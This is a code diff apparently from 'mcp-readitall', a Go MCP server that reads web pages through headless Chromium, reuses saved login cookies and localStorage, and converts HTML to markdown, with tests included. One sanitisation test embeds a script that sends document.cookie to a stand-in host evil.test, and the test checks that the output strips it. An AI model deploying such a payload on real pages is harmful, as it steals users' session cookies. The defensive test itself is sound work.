func ApplyStorageStateCookies(ctx context.Context, statePath string) error {
|
||||
state, err := readStorageState(statePath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(state.Cookies) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
cookies, err := decodeCookies(state.Cookies)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode cookies: %w", err)
|
||||
}
|
||||
if len(cookies) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
return chromedp.Run(ctx, chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
target := chromedp.FromContext(ctx).Target
|
||||
return network.SetCookies(cookies).Do(cdp.WithExecutor(ctx, target))
|
||||
}))
|
||||
}
|
||||
|
||||
// ApplyLocalStorageOnCurrentOrigin sets every localStorage entry that
|
||||
// belongs to the page's current origin. Must be called after the page has
|
||||
// navigated, because localStorage is origin-scoped.
|
||||
//
|
||||
// Entries belonging to other origins are silently skipped: they cannot be
|
||||
// set from the wrong origin anyway.
|
||||
//
|
||||
// Exported so the reader can call it after navigation.
|
||||
func ApplyLocalStorageOnCurrentOrigin(ctx context.Context, statePath string) error {
|
||||
state, err := readStorageState(statePath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(state.Origins) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var currentURL string
|
||||
if err := chromedp.Run(ctx, chromedp.Location(¤tURL)); err != nil {
|
||||
return fmt.Errorf("read current origin: %w", err)
|
||||
}
|
||||
currentOrigin := normalizeOrigin(currentURL)
|
||||
if currentOrigin == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var entries []localStorageEntry
|
||||
for _, raw := range state.Origins {
|
||||
var o localStorageOrigin
|
||||
if err := json.Unmarshal(raw, &o); err != nil {
|
||||
continue
|
||||
}
|
||||
if normalizeOrigin(o.Origin) != currentOrigin {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, o.LocalStorage...)
|
||||
}
|
||||
if len(entries) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
return chromedp.Run(ctx, chromedp.Evaluate(buildLocalStorageScript(entries), nil))
|
||||
}
|
||||
|
||||
// CaptureStorageState reads every cookie set on the current target and
|
||||
// every localStorage entry for the current origin, then marshals them to
|
||||
// the on-disk JSON shape. It is intended to be called by the login tool
|
||||
// after a successful interactive authentication.
|
||||
func CaptureStorageState(ctx context.Context, statePath string) error {
|
||||
// 1) Cookies
|
||||
cookies, err := captureCDPCookies(ctx)
|
||||
if err != nil {
|
||||
return fmt.Errorf("get cookies: %w", err)
|
||||
}
|
||||
|
||||
// 2) Current origin + localStorage
|
||||
var currentURL string
|
||||
if err := chromedp.Run(ctx, chromedp.Location(¤tURL)); err != nil {
|
||||
return fmt.Errorf("read location: %w", err)
|
||||
}
|
||||
origin := normalizeOrigin(currentURL)
|
||||
|
||||
lsRaw, err := captureLocalStorage(ctx, origin)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read localStorage: %w", err)
|
||||
}
|
||||
|
||||
// 3) Build the on-disk shape.
|
||||
cookieMsgs := make([]json.RawMessage, 0, len(cookies))
|
||||
for _, c := range cookies {
|
||||
raw, err := json.Marshal(c)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode cookie: %w", err)
|
||||
}
|
||||
cookieMsgs = append(cookieMsgs, raw)
|
||||
}
|
||||
|
||||
out := storageState{Cookies: cookieMsgs}
|
||||
if lsRaw != nil {
|
||||
out.Origins = []json.RawMessage{lsRaw}
|
||||
}
|
||||
|
||||
// 4) Write atomically: tmp + rename, mode 0600.
|
||||
body, err := json.MarshalIndent(out, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode state: %w", err)
|
||||
}
|
||||
tmp := statePath + ".tmp"
|
||||
if err := os.WriteFile(tmp, body, 0o600); err != nil {
|
||||
return fmt.Errorf("write tmp: %w", err)
|
||||
}
|
||||
if err := os.Rename(tmp, statePath); err != nil {
|
||||
return fmt.Errorf("rename: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// captureCDPCookies asks the current target for its full cookie list via
|
||||
// the network domain.
|
||||
func captureCDPCookies(ctx context.Context) ([]*network.Cookie, error) {
|
||||
var out []*network.Cookie
|
||||
err := chromedp.Run(ctx, chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
target := chromedp.FromContext(ctx).Target
|
||||
var err error
|
||||
out, err = network.GetCookies().Do(cdp.WithExecutor(ctx, target))
|
||||
return err
|
||||
}))
|
||||
return out, err
|
||||
}
|
||||
|
||||
// captureLocalStorage serialises the current page's localStorage to a
|
||||
// JSON-encoded localStorageOrigin, or returns nil if there is no
|
||||
// scannable origin / no entries.
|
||||
func captureLocalStorage(ctx context.Context, origin string) (json.RawMessage, error) {
|
||||
if origin == "" {
|
||||
return nil, nil
|
||||
}
|
||||
const script = `JSON.stringify(Object.fromEntries(Object.keys(localStorage).map(function(k){return [k, localStorage.getItem(k)];})))`
|
||||
var lsJSON string
|
||||
if err := chromedp.Run(ctx, chromedp.Evaluate(script, &lsJSON)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if lsJSON == "" || lsJSON == "[]" || lsJSON == "{}" {
|
||||
return nil, nil
|
||||
}
|
||||
var kv [][2]string
|
||||
if err := json.Unmarshal([]byte(lsJSON), &kv); err != nil {
|
||||
return nil, fmt.Errorf("decode localStorage: %w", err)
|
||||
}
|
||||
if len(kv) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
entries := make([]localStorageEntry, 0, len(kv))
|
||||
for _, pair := range kv {
|
||||
entries = append(entries, localStorageEntry{Name: pair[0], Value: pair[1]})
|
||||
}
|
||||
o := localStorageOrigin{Origin: origin, LocalStorage: entries}
|
||||
raw, err := json.Marshal(o)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
// decodeCookies turns the on-disk json.RawMessage cookie list into CDP
|
||||
// *network.CookieParam values ready for network.SetCookies. Session
|
||||
// cookies (negative or zero Expires) are left with a nil Expires field,
|
||||
// which CDP interprets as "session cookie".
|
||||
func decodeCookies(raws []json.RawMessage) ([]*network.CookieParam, error) {
|
||||
out := make([]*network.CookieParam, 0, len(raws))
|
||||
for _, raw := range raws {
|
||||
var c onDiskCookie
|
||||
if err := json.Unmarshal(raw, &c); err != nil {
|
||||
return nil, fmt.Errorf("cookie %s: %w", string(raw), err)
|
||||
}
|
||||
out = append(out, onDiskToCookieParam(c))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// onDiskCookie is the subset of cookie fields we care about when
|
||||
// reading a stored state file. Anything else (priority, source scheme,
|
||||
// partition keys…) is ignored.
|
||||
type onDiskCookie struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Domain string `json:"domain"`
|
||||
Path string `json:"path"`
|
||||
Expires float64 `json:"expires"`
|
||||
HTTPOnly bool `json:"httpOnly"`
|
||||
Secure bool `json:"secure"`
|
||||
SameSite string `json:"sameSite"`
|
||||
}
|
||||
|
||||
// onDiskToCookieParam converts our on-disk shape into a CDP
|
||||
// network.CookieParam. Session cookies (Expires <= 0) get a nil Expires
|
||||
// pointer; persistent cookies get a *cdp.TimeSinceEpoch built from the
|
||||
// Unix timestamp.
|
||||
func onDiskToCookieParam(c onDiskCookie) *network.CookieParam {
|
||||
p := &network.CookieParam{
|
||||
Name: c.Name,
|
||||
Value: c.Value,
|
||||
Domain: c.Domain,
|
||||
Path: c.Path,
|
||||
Secure: c.Secure,
|
||||
HTTPOnly: c.HTTPOnly,
|
||||
SameSite: parseSameSite(c.SameSite),
|
||||
}
|
||||
if c.Expires > 0 {
|
||||
t := cdp.TimeSinceEpoch(time.Unix(int64(c.Expires), 0))
|
||||
p.Expires = &t
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// parseSameSite translates a Playwright-style SameSite string to a CDP
|
||||
// enum. Unknown / empty values become the safe default (Lax) rather
|
||||
// than None, to match the previous Playwright behaviour.
|
||||
func parseSameSite(s string) network.CookieSameSite {
|
||||
switch strings.ToLower(s) {
|
||||
case "strict":
|
||||
return network.CookieSameSiteStrict
|
||||
case "lax":
|
||||
return network.CookieSameSiteLax
|
||||
case "none":
|
||||
return network.CookieSameSiteNone
|
||||
default:
|
||||
return network.CookieSameSiteLax
|
||||
}
|
||||
}
|
||||
|
||||
// buildLocalStorageScript returns a JS snippet that, when run inside the
|
||||
// page, sets every (k, v) pair in the page's localStorage.
|
||||
func buildLocalStorageScript(entries []localStorageEntry) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("(function(){")
|
||||
for _, e := range entries {
|
||||
b.WriteString("localStorage.setItem(")
|
||||
b.WriteString(jsonString(e.Name))
|
||||
b.WriteString(",")
|
||||
b.WriteString(jsonString(e.Value))
|
||||
b.WriteString(");")
|
||||
}
|
||||
b.WriteString("})();")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// jsonString produces a JS-safe double-quoted string literal.
|
||||
func jsonString(s string) string {
|
||||
b, _ := json.Marshal(s)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// normalizeOrigin returns the scheme+host[:port] of a URL, or "" if
|
||||
// parsing fails. Used to match storage state origins against the page's
|
||||
// current location.
|
||||
func normalizeOrigin(raw string) string {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Host == "" {
|
||||
return ""
|
||||
}
|
||||
return u.Scheme + "://" + u.Host
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package reader
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
// extractHTML returns the outer HTML of the first element matching
|
||||
// selector, or the full document HTML when selector is empty. It runs as
|
||||
// a separate chromedp.Run so a slow extraction does not re-do navigation.
|
||||
func (r *Reader) extractHTML(ctx context.Context, selector string) (string, error) {
|
||||
if selector == "" {
|
||||
var html string
|
||||
if err := chromedp.Run(ctx, chromedp.OuterHTML("html", &html, chromedp.ByQuery)); err != nil {
|
||||
return "", fmt.Errorf("read document: %w", err)
|
||||
}
|
||||
return html, nil
|
||||
}
|
||||
|
||||
// Verify the selector matches at least one node; an empty result is
|
||||
// almost always a caller mistake, not an empty page.
|
||||
var nodes []*cdp.Node
|
||||
if err := chromedp.Run(ctx, chromedp.Nodes(selector, &nodes, chromedp.ByQuery)); err != nil {
|
||||
return "", fmt.Errorf("locate %q: %w", selector, err)
|
||||
}
|
||||
if len(nodes) == 0 {
|
||||
return "", fmt.Errorf("selector %q matched no elements", selector)
|
||||
}
|
||||
|
||||
var html string
|
||||
if err := chromedp.Run(ctx, chromedp.OuterHTML(selector, &html, chromedp.ByQuery)); err != nil {
|
||||
return "", fmt.Errorf("extract %q: %w", selector, err)
|
||||
}
|
||||
return html, nil
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package reader
|
||||
|
||||
import (
|
||||
htmltomarkdown "github.com/JohannesKaufmann/html-to-markdown/v2"
|
||||
"github.com/JohannesKaufmann/html-to-markdown/v2/converter"
|
||||
"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/base"
|
||||
"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/commonmark"
|
||||
"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/strikethrough"
|
||||
"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/table"
|
||||
)
|
||||
|
||||
// newConverter returns a Converter preconfigured with the plugins that match
|
||||
// typical web content. The domain (for resolving relative URLs) is applied
|
||||
// per-call via WithDomain, so the converter itself stays domain-agnostic.
|
||||
func newConverter() *converter.Converter {
|
||||
return converter.NewConverter(
|
||||
converter.WithPlugins(
|
||||
base.NewBasePlugin(),
|
||||
commonmark.NewCommonmarkPlugin(
|
||||
commonmark.WithStrongDelimiter("**"),
|
||||
commonmark.WithEmDelimiter("_"),
|
||||
commonmark.WithBulletListMarker("-"),
|
||||
commonmark.WithHeadingStyle(commonmark.HeadingStyleATX),
|
||||
commonmark.WithCodeBlockFence("```"),
|
||||
commonmark.WithHorizontalRule("---"),
|
||||
),
|
||||
strikethrough.NewStrikethroughPlugin(),
|
||||
table.NewTablePlugin(
|
||||
table.WithHeaderPromotion(true),
|
||||
table.WithSkipEmptyRows(true),
|
||||
),
|
||||
),
|
||||
converter.WithEscapeMode(converter.EscapeModeSmart),
|
||||
)
|
||||
}
|
||||
|
||||
// HTMLToMarkdown converts a full HTML document or fragment to markdown,
|
||||
// resolving relative URLs against baseURL. An empty baseURL leaves relative
|
||||
// URLs untouched. For convenience a base set of plugins (commonmark, tables,
|
||||
// strikethrough) is always enabled.
|
||||
func HTMLToMarkdown(html, baseURL string) (string, error) {
|
||||
conv := newConverter()
|
||||
if baseURL == "" {
|
||||
return conv.ConvertString(html)
|
||||
}
|
||||
return conv.ConvertString(html, converter.WithDomain(baseURL))
|
||||
}
|
||||
|
||||
// Ensure the htmltomarkdown import is referenced for IDE/links; the package
|
||||
// alias above keeps us flexible if we want to switch to htmltomarkdown.* APIs.
|
||||
var _ = htmltomarkdown.ConvertString
|
||||
@@ -0,0 +1,256 @@
|
||||
package reader_test
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/reader"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// HTMLToMarkdown
|
||||
// =============================================================================
|
||||
|
||||
func TestHTMLToMarkdown_BasicElements(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
html string
|
||||
domain string
|
||||
want []string // substrings that must all appear in the output, in order
|
||||
// optional: substrings that must NOT appear
|
||||
notWant []string
|
||||
}{
|
||||
// ===== GOOD CASES =====
|
||||
{
|
||||
name: "headings hierarchy",
|
||||
html: `<h1>Title</h1><h2>Sub</h2><h3>SubSub</h3>`,
|
||||
want: []string{"# Title", "## Sub", "### SubSub"},
|
||||
},
|
||||
{
|
||||
name: "paragraphs and emphasis",
|
||||
html: `<p>This is <strong>bold</strong> and <em>italic</em> text.</p>`,
|
||||
want: []string{"This is **bold** and _italic_ text."},
|
||||
},
|
||||
{
|
||||
name: "unordered list",
|
||||
html: `<ul><li>alpha</li><li>beta</li><li>gamma</li></ul>`,
|
||||
want: []string{"- alpha", "- beta", "- gamma"},
|
||||
},
|
||||
{
|
||||
name: "ordered list",
|
||||
html: `<ol><li>first</li><li>second</li></ol>`,
|
||||
want: []string{"1. first", "2. second"},
|
||||
},
|
||||
{
|
||||
name: "inline code",
|
||||
html: `<p>Use <code>fmt.Println</code> to print.</p>`,
|
||||
want: []string{"Use `fmt.Println` to print."},
|
||||
},
|
||||
{
|
||||
name: "fenced code block",
|
||||
html: `<pre><code class="language-go">package main
|
||||
func main() {}
|
||||
</code></pre>`,
|
||||
want: []string{"```", "package main", "func main()"},
|
||||
},
|
||||
{
|
||||
name: "table",
|
||||
html: `<table><tr><th>Name</th><th>Age</th></tr><tr><td>Alice</td><td>30</td></tr><tr><td>Bob</td><td>25</td></tr></table>`,
|
||||
// Cells are right-padded to align columns, so we look for the
|
||||
// left-delimited portion (" 30 " / " 25 ") without pinning
|
||||
// trailing whitespace.
|
||||
want: []string{"| Name", "| Age", "| Alice", "| 30", "| Bob", "| 25"},
|
||||
},
|
||||
{
|
||||
name: "horizontal rule",
|
||||
html: `<p>before</p><hr><p>after</p>`,
|
||||
want: []string{"before", "---", "after"},
|
||||
},
|
||||
|
||||
// ===== RELATIVE URLS =====
|
||||
{
|
||||
name: "absolute links stay absolute",
|
||||
html: `<a href="https://other.test/x">other</a>`,
|
||||
domain: "https://this.test",
|
||||
want: []string{`[other](https://other.test/x)`},
|
||||
},
|
||||
{
|
||||
name: "relative link is resolved against domain",
|
||||
html: `<a href="/about">about</a>`,
|
||||
domain: "https://this.test",
|
||||
want: []string{`[about](https://this.test/about)`},
|
||||
},
|
||||
{
|
||||
name: "relative image is resolved",
|
||||
html: `<img src="/logo.png" alt="logo">`,
|
||||
domain: "https://this.test",
|
||||
want: []string{``},
|
||||
},
|
||||
{
|
||||
name: "no domain leaves relative links alone",
|
||||
html: `<a href="/about">about</a>`,
|
||||
domain: "",
|
||||
want: []string{`[about](/about)`},
|
||||
},
|
||||
|
||||
// ===== STRIKETHROUGH =====
|
||||
{
|
||||
name: "strikethrough",
|
||||
html: `<p>old <del>removed</del> new</p>`,
|
||||
want: []string{"old ~~removed~~ new"},
|
||||
},
|
||||
|
||||
// ===== BAD / TRICKY INPUTS =====
|
||||
{
|
||||
name: "script and style are stripped",
|
||||
html: `<p>visible</p><script>alert(1)</script><style>p{}</style><p>also visible</p>`,
|
||||
want: []string{"visible", "also visible"},
|
||||
notWant: []string{
|
||||
"alert(1)",
|
||||
"p{}",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "html comments are stripped",
|
||||
html: `<p>before</p><!-- a comment --><p>after</p>`,
|
||||
want: []string{"before", "after"},
|
||||
notWant: []string{
|
||||
"a comment",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "nested tags are flattened correctly",
|
||||
html: `<div><p>outer <strong>with <em>nested</em> emphasis</strong></p></div>`,
|
||||
want: []string{"outer **with _nested_ emphasis**"},
|
||||
},
|
||||
|
||||
// ===== EDGE CASES =====
|
||||
{
|
||||
name: "empty string",
|
||||
html: "",
|
||||
want: []string{},
|
||||
},
|
||||
{
|
||||
name: "whitespace only",
|
||||
html: " \n\t ",
|
||||
want: []string{},
|
||||
},
|
||||
{
|
||||
name: "plain text without tags",
|
||||
html: `just plain text`,
|
||||
want: []string{"just plain text"},
|
||||
},
|
||||
{
|
||||
name: "html entities are decoded in text",
|
||||
html: `<p>5 < 10 & 10 > 5</p>`,
|
||||
// In EscapeModeSmart the library decodes & to & but
|
||||
// preserves </> as entities so the output cannot be
|
||||
// interpreted as raw HTML/Markdown by downstream renderers.
|
||||
want: []string{"5 < 10 & 10 > 5"},
|
||||
},
|
||||
{
|
||||
name: "deeply nested lists",
|
||||
html: `<ul><li>one<ul><li>nested</li></ul></li><li>two</li></ul>`,
|
||||
want: []string{"- one", "nested", "- two"},
|
||||
},
|
||||
{
|
||||
name: "self-closing void elements do not break parser",
|
||||
html: `<p>line one<br>line two<br><br>line four</p>`,
|
||||
want: []string{"line one", "line two", "line four"},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
got, err := reader.HTMLToMarkdown(tt.html, tt.domain)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Trim trailing whitespace from each want so test data is
|
||||
// easier to read; markdown output may add trailing newlines.
|
||||
for _, w := range tt.want {
|
||||
assert.Contains(t, got, w, "expected substring %q in output:\n%s", w, got)
|
||||
}
|
||||
for _, nw := range tt.notWant {
|
||||
assert.NotContains(t, got, nw, "unexpected substring %q in output:\n%s", nw, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestHTMLToMarkdown_RealisticArticle(t *testing.T) {
|
||||
t.Parallel()
|
||||
html := `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Sample</title></head>
|
||||
<body>
|
||||
<nav><a href="/home">Home</a></nav>
|
||||
<article>
|
||||
<h1>How to Test</h1>
|
||||
<p>Testing is <strong>important</strong>. See <a href="/docs">the docs</a>.</p>
|
||||
<h2>Setup</h2>
|
||||
<ol>
|
||||
<li>Install Go</li>
|
||||
<li>Run <code>go test ./...</code></li>
|
||||
</ol>
|
||||
<h2>Example</h2>
|
||||
<pre><code class="language-go">package main
|
||||
import "fmt"
|
||||
func main() { fmt.Println("hi") }
|
||||
</code></pre>
|
||||
<table>
|
||||
<tr><th>Input</th><th>Output</th></tr>
|
||||
<tr><td>1</td><td>one</td></tr>
|
||||
</table>
|
||||
</article>
|
||||
<footer>Copyright 2026</footer>
|
||||
</body>
|
||||
</html>`
|
||||
|
||||
md, err := reader.HTMLToMarkdown(html, "https://example.test/blog")
|
||||
require.NoError(t, err)
|
||||
|
||||
// Spot-check the key transformations
|
||||
mustContain := []string{
|
||||
"# How to Test",
|
||||
"Testing is **important**",
|
||||
"[the docs](https://example.test/docs)",
|
||||
"## Setup",
|
||||
"1. Install Go",
|
||||
"2. Run `go test ./...`",
|
||||
"## Example",
|
||||
"```",
|
||||
"package main",
|
||||
"| Input | Output |",
|
||||
"| 1 | one |",
|
||||
}
|
||||
for _, s := range mustContain {
|
||||
assert.Contains(t, md, s, "missing %q in:\n%s", s, md)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHTMLToMarkdown_DoesNotLeakScriptOrStyle(t *testing.T) {
|
||||
t.Parallel()
|
||||
html := `<p>safe</p>
|
||||
<script type="text/javascript">
|
||||
// secret token: ABCDEFG
|
||||
window.location = 'https://evil.test/?x=' + document.cookie;
|
||||
</script>
|
||||
<style>body { background: url('http://evil.test/bg.png'); }</style>
|
||||
<p>also safe</p>`
|
||||
|
||||
md, err := reader.HTMLToMarkdown(html, "")
|
||||
require.NoError(t, err)
|
||||
|
||||
// Output should not contain the malicious payload
|
||||
assert.NotContains(t, md, "ABCDEFG")
|
||||
assert.NotContains(t, md, "evil.test")
|
||||
assert.NotContains(t, md, "document.cookie")
|
||||
|
||||
// But it should still contain the visible text
|
||||
assert.Contains(t, strings.ToLower(md), "safe")
|
||||
assert.Contains(t, strings.ToLower(md), "also safe")
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
// Package reader fetches pages through a headless browser, waits for the
|
||||
// page to settle (which is what makes SPA support work), and converts the
|
||||
// rendered HTML to markdown. It reuses per-host session state when
|
||||
// available so authenticated pages render as the logged-in user.
|
||||
package reader
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chromedp/chromedp"
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/browser"
|
||||
)
|
||||
|
||||
// Default values exposed so tool handlers can reference them.
|
||||
const (
|
||||
DefaultTimeout = 30 * time.Second
|
||||
MaxMarkdown = 200_000 // hard ceiling on returned markdown size
|
||||
)
|
||||
|
||||
// Reader is a thin facade over the Browser wrapper and session store.
|
||||
type Reader struct {
|
||||
pw *browser.Browser
|
||||
sess *browser.SessionStore
|
||||
log *log.Logger
|
||||
}
|
||||
|
||||
// New constructs a Reader. The store is consulted on every read to decide
|
||||
// whether to attach a saved storage state to the new browser context.
|
||||
func New(pw *browser.Browser, sess *browser.SessionStore, logger *log.Logger) *Reader {
|
||||
if logger == nil {
|
||||
logger = log.Default()
|
||||
}
|
||||
return &Reader{pw: pw, sess: sess, log: logger}
|
||||
}
|
||||
|
||||
// ReadResult is the normalised output of a read operation.
|
||||
type ReadResult struct {
|
||||
URL string `json:"url"`
|
||||
FinalURL string `json:"final_url"`
|
||||
Title string `json:"title"`
|
||||
Markdown string `json:"markdown"`
|
||||
UsedSession bool `json:"used_session"`
|
||||
Truncated bool `json:"truncated"`
|
||||
Bytes int `json:"bytes"`
|
||||
}
|
||||
|
||||
// ReadOptions controls a single Read call.
|
||||
type ReadOptions struct {
|
||||
URL string // page to fetch
|
||||
Selector string // optional CSS selector; if set, content is extracted from the matching element(s) only
|
||||
WaitSelector string // optional CSS selector to wait for before extracting (useful for SPA hydration)
|
||||
Timeout time.Duration // overall timeout for navigation + waits
|
||||
MaxChars int // truncate markdown to roughly this many characters (0 = no truncation)
|
||||
}
|
||||
|
||||
// Read fetches the URL through Chromium, waits for it to settle, optionally
|
||||
// narrows the content with a CSS selector, and converts the resulting HTML
|
||||
// to markdown.
|
||||
func (r *Reader) Read(parentCtx context.Context, opts ReadOptions) (*ReadResult, error) {
|
||||
if opts.URL == "" {
|
||||
return nil, errors.New("url is required")
|
||||
}
|
||||
if opts.Timeout == 0 {
|
||||
opts.Timeout = DefaultTimeout
|
||||
}
|
||||
if opts.MaxChars == 0 {
|
||||
opts.MaxChars = MaxMarkdown
|
||||
}
|
||||
|
||||
timeoutCtx, cancel := context.WithTimeout(parentCtx, opts.Timeout)
|
||||
defer cancel()
|
||||
|
||||
usedSession, statePath, err := r.resolveSession(opts.URL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cdpCtx, releaseBrowser, err := r.pw.NewContext(timeoutCtx, statePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer releaseBrowser()
|
||||
|
||||
r.log.Printf("read %s (session=%v)", opts.URL, usedSession)
|
||||
|
||||
var title, finalURL string
|
||||
var html string
|
||||
|
||||
// Build the action chain. Cookies were already applied by NewContext
|
||||
// (if a session exists). localStorage is applied post-navigation
|
||||
// because it is origin-scoped.
|
||||
actions := []chromedp.Action{
|
||||
chromedp.Navigate(opts.URL),
|
||||
chromedp.WaitReady("body"),
|
||||
}
|
||||
if statePath != "" {
|
||||
actions = append(actions, chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
return browser.ApplyLocalStorageOnCurrentOrigin(ctx, statePath)
|
||||
}))
|
||||
}
|
||||
// Small grace period so post-load JS (lazy components, hydration) has
|
||||
// a chance to settle before we snapshot the HTML.
|
||||
actions = append(actions,
|
||||
chromedp.Sleep(500*time.Millisecond),
|
||||
)
|
||||
if opts.WaitSelector != "" {
|
||||
actions = append(actions, chromedp.WaitVisible(opts.WaitSelector, chromedp.ByQuery))
|
||||
}
|
||||
actions = append(actions,
|
||||
chromedp.Title(&title),
|
||||
chromedp.Location(&finalURL),
|
||||
)
|
||||
|
||||
if err := chromedp.Run(cdpCtx, actions...); err != nil {
|
||||
return nil, fmt.Errorf("navigate: %w", err)
|
||||
}
|
||||
|
||||
html, err = r.extractHTML(cdpCtx, opts.Selector)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
md, err := HTMLToMarkdown(html, finalURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("convert to markdown: %w", err)
|
||||
}
|
||||
|
||||
truncated := false
|
||||
if len(md) > opts.MaxChars {
|
||||
md = md[:opts.MaxChars] + "\n\n…[truncated]"
|
||||
truncated = true
|
||||
}
|
||||
|
||||
return &ReadResult{
|
||||
URL: opts.URL,
|
||||
FinalURL: finalURL,
|
||||
Title: strings.TrimSpace(title),
|
||||
Markdown: md,
|
||||
UsedSession: usedSession,
|
||||
Truncated: truncated,
|
||||
Bytes: len(md),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// resolveSession checks whether a saved session exists for the URL's host
|
||||
// and returns its path. An empty path means "no session, use a fresh
|
||||
// context".
|
||||
func (r *Reader) resolveSession(rawURL string) (bool, string, error) {
|
||||
exists, err := r.sess.Exists(rawURL)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
if !exists {
|
||||
return false, "", nil
|
||||
}
|
||||
path, err := r.sess.StatePath(rawURL)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
return true, path, nil
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build integration
|
||||
|
||||
// Package integration_test exercises the MCP server end-to-end through a
|
||||
// real chromedp-managed Chromium. It is gated by the `integration` build
|
||||
// tag so the default `go test ./...` run stays hermetic.
|
||||
//
|
||||
// Run with:
|
||||
//
|
||||
// go test -tags=integration -race -v ./internal/server/...
|
||||
//
|
||||
// Make sure a Chromium or Chrome binary is on the system (chromedp will
|
||||
// find it via the default Chrome discovery rules; override with
|
||||
// chromedp.ExecPath if needed).
|
||||
package server
|
||||
@@ -0,0 +1,130 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/browser"
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/reader"
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/tools"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// Server wires the MCP server, browser lifecycle, session store, and reader
|
||||
// together, and exposes the tool surface to MCP clients.
|
||||
type Server struct {
|
||||
mcp *mcp.Server
|
||||
br *browser.Browser
|
||||
sess *browser.SessionStore
|
||||
readr *reader.Reader
|
||||
log *log.Logger
|
||||
|
||||
closeOnce sync.Once
|
||||
closeErr error
|
||||
}
|
||||
|
||||
const (
|
||||
serverName = "mcp-readitall"
|
||||
serverVersion = "0.1.0"
|
||||
)
|
||||
|
||||
// New constructs the MCP server, initialises the browser manager and the
|
||||
// session store, and registers every tool. It does not start serving: call
|
||||
// RunHTTP for that.
|
||||
func New(ctx context.Context, logger *log.Logger) (*Server, error) {
|
||||
if logger == nil {
|
||||
logger = log.Default()
|
||||
}
|
||||
|
||||
sess, err := browser.NewSessionStore()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("session store: %w", err)
|
||||
}
|
||||
|
||||
br, err := browser.New(ctx, logger)
|
||||
if err != nil {
|
||||
_ = sess.Close()
|
||||
return nil, fmt.Errorf("browser: %w", err)
|
||||
}
|
||||
|
||||
readr := reader.New(br, sess, logger)
|
||||
|
||||
mcpServer := mcp.NewServer(
|
||||
&mcp.Implementation{Name: serverName, Version: serverVersion},
|
||||
nil,
|
||||
)
|
||||
|
||||
s := &Server{
|
||||
mcp: mcpServer,
|
||||
br: br,
|
||||
sess: sess,
|
||||
readr: readr,
|
||||
log: logger,
|
||||
}
|
||||
|
||||
tools.RegisterRead(mcpServer, readr)
|
||||
tools.RegisterLogin(mcpServer, br, sess, logger)
|
||||
tools.RegisterListSessions(mcpServer, sess)
|
